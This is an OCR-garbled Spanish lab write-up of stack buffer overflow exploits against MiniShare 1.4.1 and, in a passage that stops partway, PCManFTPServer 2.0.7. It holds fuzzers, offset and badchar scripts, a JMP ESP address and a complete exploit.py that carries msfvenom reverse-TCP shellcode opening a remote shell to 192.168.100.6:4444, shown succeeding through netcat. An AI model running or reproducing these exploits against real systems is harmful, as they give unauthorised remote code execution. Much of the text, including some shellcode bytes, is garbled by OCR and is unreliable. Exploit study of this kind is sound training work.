Minishare-1.4.1

*

NS

VBuffer Overflow

Es una vulnerabilidad de seguridad en la que un programa o proceso permite que se sobrescriba la memoria
adyacente a un area de almacenamiento de datos, conocida como bufer. Esto puede ocurrir cuando se introduce mas
datos en un bufer de lo que este puede contener, y el exceso de datos sobrescribe dreas de memoria cercanas.

Fuzzing app.

Requisitos:

Copiar Mona en la ruta C:\Archivos de programa\lmmunity Inc\Immunity Debugger\PyCommands
AiRadir IP y Puerto del servicio.

File: fuzzer.py

import socket
metodo_http = "GET "
buff=""
cabecera_http =" HTTP/1.1\r\n\r\n"
while True:
buff = buff+"\x41"*100
buff_final = metodo_http+buff+cabecera_http
try:
sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect((*127.0.0.1',80))
print "Fuzzeando con %d bytes" % len(buff)
sock.send(buff_final)
sock.recv(1024)
sock.close()
except:
print "El servidor ha crasheado con %d bytes" % len(buff)
exit()
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i+~ 1l emtwhocopP
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s ? Immunity: Consiiting Senvices Wanager

i)
YPCHEF 2B mevcrt. FPCAEF2E
BEF L4CHS
41414141
E14C2982 ASCIT "ARAAAAARAAA HTTP-1. 18"
B14CEBESE
BRAGEEAE] 2
G1ACCRAS

41414141

C 8 ES @823 32bit BIFFFFFFFF)
CS BALlE 22bit BIFFFFFFFF)
S5 8623 22bit BIFFFFFFFF)

e IC:\Python2T\python.exe

Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando
Fuzzeando

hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
bytes
bhytes
hytes
hytes

exdump

EASE | BEA

Creamos Pattern en Mona.

e C:\Python2 \python.exe

1403324

con
con
con
con
con
con
con
con
con
con
con
con
con
con
con
con
con
con

188
288
Jaa
488
588
(515
788
g8a
788
1880
1180
1280
1388
1488
1588
1688
1788
18848

hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes
hytes

Imona pattern_create 1800




Imona pattern_create 1800

tolindows. Conmon—Controls Chedlddoof 1df_&.68

2RAdEAd 1 Ad2Ad2Ad4AdEAdERdFRAJEAd9A=GER: 1A=

FE [+] This mona.py act ion took @6

Imona pattern create 1800

Ruta:C:\Archivos de programa\lmmunity Inc\Immunity Debugger\pattern.txt

0% @ xp, release 5.1.2600
Process being debugoged @ minishare (pid 11120
Current mona arguments: pattern_create 1800

ST I
ha0aalAaZsa3Aadaasaania?aalaagaboablab?abh3sabdakbhsabeab?ansabhoac0aclac2Ac3iacdAciAchACTACBACDANDAdLAMZ Al
i1Ei2Ei13E674Bi15B16B17B18BiSBj0EjlE] 2Ei3E]4EB] 5B 6B] FE]B8E] 9Bk OBKLEK 2Bk 3EK4EkK SEKGEK FEKBEKSET0BTLET 2ET13ET4

Encontrando EIP offset
Anadir IP, Puerto del servicio y Pattern ASCII
File: offsecl.py

import socket

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

sock.connect((*127.0.0.1',80))

metodo_http ="GET "

buff =
"AaOAalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8ABIACOACTAC2AC3ACAACSACE6ACTACE
Ac9AdO0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0AeT1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9ATOATIAF2AF3AFAATSATEAF7AF8
Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8AgIAhOAhT1Ah2AR3Ah4ARSAh6Ah7AR8ANRIAIOAITAI2AIZAI4AISAIGAI7AIBAI-
9Aj0Aj1Aj2Aj3Aj4Aj5A]6Aj7Aj8A]9AKOAKTAK2AK3AKk4AKSAK6AK7AK8AKSALOALTAL2ALBAL4AISALEAL7AIBAISAMOAMT
AM2AM3AM4AMSAM6AM7AMEAMIOANOANTAN2AN3AN4AN5AN6AN7AN8AN9A00A0TA02A03A04A05A06A07A08
AoSApOApTAp2Ap3Ap4Ap5Ap6Ap7Ap8AP9AqOAqTIAq2Aq3Aq4Aq5Aq6Aq7Aq8AqOArOArTAr2Ar3Ar4ArSAr6Ar7Ar8
Ar9As0As1As2As3As4As5As6As7As8AsOALOALTAL2At3At4AL5AL6AL7At8AtOAUOAUTAU2AU3AU4AUSAUGAU7AUBAU-



9AVOAV1AV2AV3AV4AV5AVEAV7AVBAVOAWOAWTAW2AW3AWAAWSAWEAW7AWB AWIAXOAXTAX2AX3Ax4Ax5AX6AX7
Ax8Ax9AYOAYTAY2Ay3AYy4AYSAY6AY7AY8AYOAZ0AZT1Az2AZz3Az4AZz5Az6Az7Az8 AzZ9Ba0OBa1Ba2Ba3Ba4Ba5Ba6Ba7
Ba8Ba9Bb0OBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbOBcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6B-
d7Bd8Bd9BeOBe1Be2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9BgOBg1Bg2Bg3Bg4Bg5Bg6B-
g7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9BjOBj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8B-
j9BkOBk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BkOBLOBL1BI2BL3Bl4BI5BL6BL7BI8BIOBMOBM1BM2BmM3BmM4BmM5BmM6BmM7Bm8
Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0B0o1B02Bo3B0o4Bo5B0o6B07Bo8Bo9BpO0Bp1Bp2Bp3Bp4Bp5Bp6Bp7
Bp8Bp9BqOBq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BrOBr1Br2Br3Br4Br5Br6Br7Br8BrOBsOBs1Bs2Bs3Bs4Bs5Bs6Bs7B-
s8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8BtOBuOBu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvOBV1Bv2Bv3Bv4Bv5Bv6BV7BVE
BvOBwOBw1Bw2Bw3Bw4Bw5Bw6Bw/7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6B-
y7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5CabCa7Ca8Ca9Ch0Ch1Ch2Ch3Cb4Cb5Ch6
Cb7Cb8Cb9CcO0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8CcO9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5C-
e6Ce7Ce8Ce9CfOCHICF2C3CFACT5CFECF7CF8CIOCg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9ChOChT1Ch2Ch3Ch4Ch5C-
h6Ch7Ch8Ch9"

cabecera_http=" HTTP/1.1\r\n\r\n"

buff_final = metodo_http+buff+cabecera_http

sock.send(buff_final)

sock.recv(1024)

sock.close()

Capturamos Pattern EIP.

5/45



t bz 1 ..s ? Code auditar and software assessment specialist heeded

M Fegizters (FPLUI

HEREEERE

FPCBEFZE mswort, FPCBEFZE

BEF14CAS

E3433455

B14C39628 ASCII "ChyChaChe HTTR-1. 18"
A14CEBESS

AEEEEEE]

BAlACCDC O

Z6654335

ES BB23 32bit BI(FFFFFFFF)
CS BElB 32bit BIFFFFFFFF]
S5 BEz23 32bit BIFFFFFFEF]
05 BRz3 32bit BIFFFFFFFF]
FS BESE 32bit YFFODBEE0FFF)
G5 BEEE MULL

LastErr ERROF_SUCCESS [ HE0EEEEGE)
BEd1621e (HO,.HE.ME.A.MS, FE.GE, G)

eMpty
eMpty
empty
Empty
EMpty
eMpty
eMpty
empty

oO—mr DT

= N | ESFLU
BEEE Cond @ 8B B B Err B8 B 8
B827F  Prec MEAR,S52  Maszk 11

door6045 Chel

IEP36684335

Buscando Offset EIP
Imona pattern_offset 36684335

rCE186EYF| Mew thread with ID BOBOEECH created

26654335 [22:42:49] Acocess wiolation when edecut ing [SEE24335]
BEADOFEE0 [+]1 Cormand wsed:

BEADFEE0| trons pattern DFFEEt 26684335

BEADFEE0 oaleinrg—for—EEhE Ere e e R B R et

BEADFEE0

WEADFEED| TEOF (g for Sohbe [ pattelrn of SOoodd Ot es

BEAOFEE0| Look ing for &hCE in pattern of SOEEEE butes

WEAOFEE0, - Fattecn ShCE not found in cyclic pattern (uppercase]
BEADOFEE0| Look ing for SChe in pattern of SOEAED butes

BEAOFEED| Look ing for ShCE in pattern of SEEEE0 butes

BEAOFEE0, - Fattern ShCE not found in cyclic pattern [ lowsrcase)
HEADFEE0

HEADFEED

Imona pattern_ uﬂ‘set 36684335




Posicion del patrén encontrado: 1787
File: offset2.py
Buscar Carecteres encontrados (Badchars)

import socket

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect((*127.0.0.1',80))

metodo_http ="GET "

buff ="A"*1787 + "B"*4 + "C"*400
cabecera_http="HTTP/1.1\r\n\r\n"

buff_final = metodo_http+buff+cabecera_http
sock.send(buff_final)

sock.recv(1024)

sock.close()
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bz r ... s

o FRegisters (FPUI

BEAEEEREE
T rCHEF3E
BEF14CAS
41414141
B14C3985
214CEBE2E
BEEEREE 1
H14nERAS

d2d424242

ES @823
CL @8k
S5 BE23
OSh aa23
FSiaazg
G5 Baaa

LasiErr
BRAIEZ1G

empty
EMpty
empty
Empty
EMpty
empty
EMptY
EMpty

- 0 X
? Code guditor and software assessinent specialist heeded

mecrt . 7 rCEEF3E

ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCoCCCCCCCCoCCCCCCCCCoCCCCCCCCCCCCCCCing

ZZbit BIFFFFFFFF]
22bit BIFFFFFFFF]
3Zbit BIFFFFFFFF]
22bit BLFFFFFFFFE]
22bit FFFOCEEE(FFF)
HULL

ERROF_SUCCESS (@RE0EANE]
(HO,ME, HE,H, M5, PE, GE, 5]

2218

ESFPU
BEEE Corfd B B @ @ Ecrr @ 8 B 8
B27F Prez MEAR,52  Mask 11

sints] 423434343
B14C398C 43434343
@14casla 4234342432
B14C3914 43434343
@14C3913 434343432
@14C391c 434343432
B14C3928 434343432
@14C3924 43434343
@14C3922 43434323432
B14C392C 43434343
@14C3928 4343423432

EIP: 42424242

Generar Bard Chars

Imona bytearray




GEADFEED0

BEADFEGED0
BEADFBAGE0| Don
AOFEE0) Bin:
BEADFAED
BEADFAED [+] Thi= mona

Imona bytearray |

Ruta: C:\Archivos de programa\lmmunity Inc\Immunity Debugger\bytearray.txt

output generated by mona.py v2.0, rev 613 - Immunity Debugger
Corelan Team - https:/ Awww.corelan. be

0% @ xp, release 5.1.2600
Process being debugged @ minishare (pid 1360
Current mona arguments: bytearray

0N 0 N 02 03 04N 05 0B x0T 08N 0Sh x0 a0l e 0 O x0es O e L 0 e 1T v e L 25 L 3wl v el 5 LN o 7 L8
M2 2 K 2 2 3N 2 N 2 T 2 BN 2 T 2 BN 2 O w2 a2 e O 2 2 e 2 T 3 0 3 N 3 2N I 3 BN K3 TN K 3R 3 T xS B
Mo O o e 250 3 e AN e 5o B el Thoed B d 9o atoed B oed Gd doed et o T S0 e 51N e G 2N S 3 G4 N e S B G e B T e 5
M BN AL G2 3 B N KBS KEEN KE T AN AT KA A B B BE G T T O T T 2N M T 3N M T A N T N N TN K T T T
MBI B B2 N B3N B B I B AN kBT BE N B B ah B kB B B et BT D0 e S N D2 N B3 B N D5 DN B T O
"woaalhoalhxaZhxazdthxadheaihoaghxath a8 xaaat xabhxach xadh xaes xath b0 bl N kb2 b3 xbd s xb S xbh e b T b 8
M TN 2 C 3 S SN AN N C T OB N C S i Cath c i e o o o et o C T e d O D e 28 o 3o e d S o 6 P el 8
"aeltoelh ke2hxeIhxed et rebh ke T e xeueah xebt ke ed keet e PO P T 2 e 3P e P e T AN T B

File: Badchars1.py

import socket

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

sock.connect(('127.0.0.1',80))

metodo_http ="GET "

buff = "A"*1787 + "B"*4 + "C"*400

badchars =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\xOf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19
\xTa\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\
x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x-
59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\
x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\
x9a\x9b\x9c\x9d\x9e\xof"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\
xba\xbb\xbc\xbd\xbe\xbf"
"\xcO\xcT\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcfixd0\xd1\xd2\xd3\xd4\xd5\xd6\xd 7\xd8\xd9\xda\
xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\
xfb\xfc\xfd\xfe\xff")
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buff = buff+badchars
cabecera_http="HTTP/1.1\r\n\r\n"

buff_final = metodo_http+buff+cabecera_http
sock.send(buff_final)

sock.recv(1024)

sock.close()

Buscar ESP Y dumpear 014C3908

A Immunity Debugger - minishare.exe - [CPL - thread 0000057C]
File “iew Debug Plugins Immlib Options Window Help  Jobs
(OB TE (ax v I w42 li4J+f 1 emtwhcPkbzr

Increment
Decrement

Zern

Settol

Modify Enter
Copy selection ko clipboard Chrl+C
Copy all registers to clipboard

Follow in Dump
Follows in Skack,

Yiew MMX registers
Yiew SDMow! registers
Wiew debug registers

Appearance

Address

EIP 42424242
Buscar instrucciones de salto en ESP.
Imona jmp -r esp

View [OGDATA
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Ruta: C:\Archivos de programa\lmmunity Inc\Immunity Debugger\jmp.txt

Encontrado: 7E6B30D7 {PAGE_EXECUTE_READ} (ASLR:FALSE) C://Windows/system32/SHELL32.DLL

Lo interpretamos de manera inversa.
7E6B30D7 ---> D7306B7E

Creamos nuestra shellcode reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.6 LPORT=4444 EXITFUNC=thread -b "\x00\x0d" -f

python

copiamos la shellcode y el valor interpretado (esp jump) D7306B7E

File: exploit.py

import socket

sock = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
sock.connect(("192.168.100.4',80))

metodo_http = "GET "

buf=""

buf += "\xba\x4f\xc3\xd3\xc6\xd9\xc5\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e\x03\x1f\xcd\x31"
buf +="\x33\x63\x39\x37\xbc\x9b\xba\x58\x34\x7e\x8b\x58\x22"
buf += "\x0b\xbc\x68\x20\x59\x31\x02\x64\x49\xc2\x66\xa1\x7e"
buf += "\x63\xcc\x97\xb1\x74\x7d\xeb\xd0\xf6\x7c\x38\x32\xc6"
buf += "\x4e\x4d\x33\x0f\xb2\xbc\x61\xd8\xb8\x13\x95\x6d\xf4"
buf +="\xaf\x1e\x3d\x18\xa8\xc3\xf6\x1b\x99\x52\x8c\x45\x39"
buf += "\x55\x41\xfe\x70\x4d\x86\x3b\xca\xe6\x7c\xb7\xcd\x2e"
buf +="\x4d\x38\x61\x0f\x61\xcb\x7b\x48\x46\x34\x0e\xaO\xb4"
buf += "\xc9\x09\x77\xc6\x15\x9f\x63\x60\xdd\x07\x4f\x90\x32"
buf += "\xd1\x04\x9e\xff\x95\x42\x83\xfe\x7a\xfO\xbf\x8b\x7c"
buf += "\x2d\x36\xcf\x5a\xe9\x12\x8b\xc3\xa8\xfe\x7a\xfb\xaa"
buf +="\xa0\x23\x59\xa1\x4d\x37\xd 0\xe8\x19\xf4\xd9\x12\xda"
buf += "\x92\x6a\x61\xe8\x3d\xc1\xed\x40\xb5\xcf\xea\xa7\xec"
buf +="\xa8\x64\x56\x0f\xc9\xad\x9d\x5b\x99\xc5\x34\xe4\x72"
buf += "\x15\xb8\x31\xd4\x45\x16\xea\x95\x35\xd6\x5a\x7e\x5f"
buf +="\xd9\x85\x9e\x60\x33\xae\x35\x9b\xd4\x11\x61\xc7\x22"
buf += "\xfa\x70\x07\x3a\xa6\xfd\xe1\x56\x46\xa8\xba\xce\xff"
buf +="\xf1\x30\x6e\xfAAx2f\x3d\xb0\x8b\xc3\xc2\x7f\x7c\xa9"
buf += "\xd0\xe8\x8c\xe4\x8a\xbf\x93\xd2\xa2\x5c\x01\xb9\x32"
buf +="\x2a\x3a\x16\x65\x7b\x8c\x6f\xe3\x91\xb7\xd9\x11\x68"
buf += "\x21\x21\x91\xb7\x92\xac\x18\x35\xae\x8a\x0a\x83\x2f"
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buf += "\x97\x7e\x5b\x66\x41\x28\x1d\xd0\x23\x82\xf7\x8f\xed"
buf +="\x42\x81\xe3\x2d\x14\x8e\x29\xd8\xf8\x3f\x84\x9d\x07"
buf += "\x8f\x40\x2a\x70\xed\xfO\xd5\xab\xb5\x01\x9c\xf1\x9c"
buf +="\x89\x79\x60\x9d\xd7\x79\x5f\xe2\xe1\xf9\x55\x9b\x15"
buf += "\xe1\x1c\x9e\x52\xa5\xcd\xd2\xcb\x40\xf1\x41\xeb\x40"

buff = "A"*1787 + "\xd7\x30\x6b\x7e" + "\x90"*20 + buf
cabecera_http="HTTP/1.1\r\n\r\n"

buff_final = metodo_http+buff+cabecera_http
sock.send(buff_final)

sock.recv(1024)

sock.close()

Ejecutando Exploit.

nc -lvp 4444
python2 exploit.py

bl lply
listening on [any] 4444 ...
192.168.100.4: inverse host lookup failed: Unknown host
connect to [192.168.180.6] from (UNKNOWN) [192.168.100.4] 1110
Microsoft Windows XP [Versi®n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings‘\H\Escritorio\BoF\minishare-1.4.15>|]
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PCManFTPServer-2.0.7

Fuzzing app.

Requisitos:

Copiar Mona en la ruta C:\Archivos de programa\lmmunity Inc\Immunity Debugger\PyCommands
Aiadir IP y Puerto del servicio.

File: fuzz.py

#!/usr/bin/python
import sys,socket
from time import sleep

length =100

while True:

try:
print "length sent: " + str(length)
s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(('192.168.100.3',21))
s.recv(1024)
s.send("USER Anonymous")
s.recv(1024)
s.send("PASS pass")
s.recv(1024)
s.send('PORT ' + 'A™* length)
s.recv(1024)
s.close()
sleep(1)
length +=100

except:
print 'Fuzzing crased at %s bytes' % str(length)
sys.exit()
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HEEREEEER
BES1BETE
BEEEEE2E
=lufalzrlelal)
BHE12EDPE " AARRARAARRAAAARAAA
H1E11RER
BE12EOFC " AARRARARRARAARRAA
BEEEEEES

41414141

ES SzZbit BIFFFFFFFF]
CsS SzZbit BIFFFFFFFF]
5 22bit BIFFFFFFFF]
k=3 2Zbit BIFFFFFFFE]
FS Szbit FFFOEEEACFFF)
[ES] HULL

ERROR_IMUALIC_HAMOLE 1 &@
(MO, HE, HE, A, M5, PO, GE, 51

Python2/python.exe |- = |

ed dump

J5] . .
BE1ZEDAS 41414141 AARA
????1?69 R R £ B8 AE1ZEDAC 41414141 GAAA

Creamos Pattern en Mona.

Hex dump
BEd4 1 6EE . e e BB
BEdd 1 AES UsE. ;#E.
Ba441818 I #E. 5. C.
VAL, . &C.
OaC, %,
H.C.E, C.
T H.31C.
F s Jo
=#C.0iA.
o BHE,ERE,
BEd4 1658 -i@, PfE,
BE44 1658 AfE, Tol,
ol FaE,
E B.£"E.
B"E. -"E.
- #B. L#E.
LEY o] - |
$.C.ELE.
LB, L1C.
BE44 1635 ntC. ¥TC.
BEd4 1 BRE s, 8EE.
[-B.2HC.
B Beasus
FHA. #iA.
HiHewens
.. ..F#A.

WaitForl
I iNaes
Buffersi




Imona pattern_create 2100

HIT Code M
tina [41414141]

b2Ab4ABEABEAL Y ARSAL SACEAC 1A SAdEAd1 Ad2Ad3Ad4AdEAdEAD YADEAd YR ER: 1A AedAeEA=EAY

HEADF AE0
ABADF8BD0D) [+] Thiz mona.py action took G:00:80.8160888

Ruta:C:\Archivos de programa\lmmunity Inc\Immunity Debugger\pattern.txt

output generated by mona.py v2.0, rev 613 - Immunity Debugger
Corelan Team - https://www.corelan. be

05 : 7, release 6.1.7601
Process being debugged : PCManFTPDZ (pid 2432)
Current mona arguments: pattern_create 2100

2021-05-23 04:34:15

Pattern of 2100 bytes :

ASCIT:
AalAalaaZAaadsadAasAabAarAalaadabiablab2ab3abdabsabbAab7abBaboacOAClACZACIACHACSACBACT,
i1Bi12Bi13B14Bi5Bi16B17Bi1BBi19Ej0Bj1Bj2Ej36j4Bj5Bj6Ej7BjBB]9Ek0Bk1BK2Bk3IBEK4BKSEKEEK7EKEE
2CQ3Ccg4CqsCcqeCq7CcqBcqacrocricr2cr3crdcrscreCr7Cracrg

Encontrando EIP offset
Anadir IP, Puerto del servicio y Pattern ASCII
file: patter.py

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

buf =
"Aa0Aal1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8ABIACOACTAC2AC3AC4AC5AC6AC7ACS
Ac9AdOAd1Ad2Ad3Ad4Ad5Ad6Ad7AdB8AdIAe0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9AFOAFIAF2Af3AFAAFSATEAT7ATS
Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AhOARTAh2Ah3AR4ARS5Ah6AR7AR8ANIAIOAITAI2AIBAI4AISAIGAI7AI8BAI-
9AjOAj1Aj2Aj3Aj4Aj5A]6A]7Aj8Aj9AK0AKTAK2AK3Ak4AKSAk6AK7AKBAKOALOALTALZALBAL4AISALGAL7AIBAI9AMOAMT
Am2Am3AM4AM5AMEAM7AME8AMOANOANTAN2AN3AN4AN5AN6AN7AN8AN9A00A0T1A02A03A04A05A06A07A08
AoSApOApTAp2Ap3Ap4ApSAp6Ap7Ap8APOAqOAqTIAq2Aq3Aq4Aq5Aq6Aq7Aq8AqOArOArTAr2Ar3Ar4ArSAr6Ar7Ar8
Ar9As0As1As2As3As4As5As6As7As8AsOAtOAt1AL2At3At4At5AtE6AL7At8AtOAUOAUTAU2AU3AU4AUSAUGAU7AU8AU-
9AVOAV1IAV2AV3AV4AVSAVEAV7AVBAVOAWOAWTAW2AWIAWAAWSAWEAW7AWBAWIAXOAXTAX2AX3Ax4AX5AX6AXT
Ax8Ax9AYO0AYTAY2Ay3Ay4AY5AY6AY7AYy8AYOAZ0AZ1Az2AZz3Az4AZz5Az6Az7Az8 AzZ9BaOBa1Ba2Ba3Ba4Ba5Ba6Ba7
Ba8Ba9BbOBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbOBcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcO9Bd0Bd1Bd2Bd3Bd4Bd5Bd6B-
d7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BfOBgOBg1Bg2Bg3Bg4Bg5Bg6B-
g7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9BjOBj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8B-
j9BkOBk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BkIBLOBL1BI2BL3BI4Bl5BL6BLl7BI8BI9BMOBM1BM2BmM3BmM4Bm5BmM6BmM7Bm8
Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0B01B02Bo3B04Bo5Bo6B07Bo8Bo9BpOBp1Bp2Bp3Bp4Bp5Bp6Bp7
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Bp8Bp9BqOBq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BrOBr1Br2Br3Br4Br5Br6Br7Br8BrO9BsOBs1Bs2Bs3Bs4Bs5Bs6Bs7B-
s8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8BtOBuOBu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvOBv1Bv2Bv3Bv4Bv5Bv6BV7BVE
BvOBwOBw1Bw2Bw3Bw4Bw5Bw6Bw/7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6B-
y7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5CabCa7Ca8Ca9Ch0Ch1Ch2Cb3Chb4Cb5Ch6
Cb7Cb8Ch9CcOCCTCc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9CdOCdT1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0CeT1Ce2Ce3Ce4Ce5C-
e6Ce7Ce8Ce9CFOCHICF2C3CFAC5CFECF7CF8CFOCg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9ChOCh1Ch2Ch3Ch4Ch5C-
h6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8
CkOCIOCUCI2CI3CL4CI5CLeCL7CI8CIOCMOCMTICM2CM3CmM4CmM5CM6CM7CmM8CmMI9CN0CN1Cn2Cn3CNn4CNn5CNn6C-
n7Cn8Cn9Co00C01C02C03C04C05C06C07C08Co9CP0CP1CP2CP3CPp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5C-
q6Cq7Cq8Cq9Cr0CrCr2Cr3Cr4Cr5Cr6Cr7Cr8Cro"

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(("192.168.100.3",21))

s.recv(1024)

s.send("USER " + "Anonymous")

s.recv(1024)

s.send("PASS pass")

s.recv(1024)

s.send("PORT " + buf)

s.recv(1024)

s.close()

Capturamos Pattern EIP.
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==

= |4|:|:IEI:IJ_.

it BIFFFFFFFF1
;. BLFFFFFFFF]
1l FFFFFFFF1
: BIFFFFFFFF]
] it FFFOFEEAIFFF]
HULL
stErr ERROF_IMUALID HAMDLE (93

[HO,MHE.HE. A, M5, PO, GE, &5

-
1

" _oo12ED o INEE T I .
EIP:396F4338

Buscando Offset EIP

Imona pattern_offset 396F4338



GBEADFEED
ADFEE0n; *m
DF @0
OFEE0
DF @0
DF @0

DF @0
DF @0
DF @0
DF @0
BEADFEED
GEADFEED

Imona pattern_offset 396F4338|

Alternativa:
msf-pattern_offset -q 396F4338

~/0SCP/BoF/Minishare-1.4.1
Ffset 396F4338
offset 2806

~/0SCP/BoF/Minishare-1.4.1

Buscar Carecteres encontrados (Badchars)
File offset.py

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

padding = "A" * 2006
buf = padding + "B"*4 + "C"*256

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(("192.168.100.3",21))

s.recv(1024)

s.send("USER " + "Anonymous")

s.recv(1024)

s.send("PASS pass")

s.recv(1024)

s.send("PORT " + buf)

s.recv(1024)

s.close()
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+ PFegisters [HHAI]

AREEREER

HASBASYS

HEEEREZA

HEEEAEEA

A1 2ED A "CCCCCCCCCCCCCCCoo
A1201AR7A

aa12ED?C "CCCCCCCCCCCCCCCoi

(wlwliwiwleiriek]

e

42424242

ES 8023 32bit BIFFFFFFFF]
CS B01E 32bit BIFFFFFFFF]
S5 8623 32bit B(FFFFFFFF)
0S5 @023 232bit BIFFFFFFFF]
FS BE2E 32bit YFFOEBEQDIFFF)
i35 @oEE HULL

LastErr ERROR_IMUALIO_HAHOLE @84
Bagiezez (HO,ME,ME, A, M5, PO, GE, 5]

BEEE BE8E BEEE OEE8E
BEEE BE8E BEEE OEE8E
BEEE BE8E BEEE G880
BEEE | BEEE BEEE OE8Q
BOEE BEEE BEEE D80
SOEE 60 BEEE O8G0
ZFFF SBE0 BEEE 0EE0
BOEE BEIE BEEE O8O

mmmmmm
wmwmec)
T T 3

1
u]
-

Il
[y
H

m
—
m

oD mO
== E & EEEE

